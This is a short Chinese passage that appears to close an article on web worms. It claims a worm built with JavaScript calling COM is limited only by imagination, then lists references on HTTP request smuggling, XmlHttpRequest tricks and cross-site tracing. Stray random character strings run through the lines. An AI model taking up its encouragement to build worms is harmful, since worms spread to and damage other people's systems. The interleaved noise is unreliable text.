蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
' y1 ]9 H7 V; T# B% x操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:( n& M0 ]$ B: J" q( l6 ]6 M
# H e1 J9 D' p"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)* V0 I5 J e1 O- A" l" S" d a. g
Other XmlHttpRequest tricks (Amit Klein, January 2003)
1 A+ ^! E y2 `8 p. T" v4 m! `"Cross Site Tracing" (Jeremiah Grossman, January 2003)
+ I7 U: ~* v$ I4 Q5 W8 m- w. }9 ~% chttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog5 l( ~5 I. Z( ]; |' T6 [
空虚浪子心BLOG http://www.inbreak.net7 `& q8 J# F6 Y. Q) a* R8 [
Xeye Team http://xeye.us/
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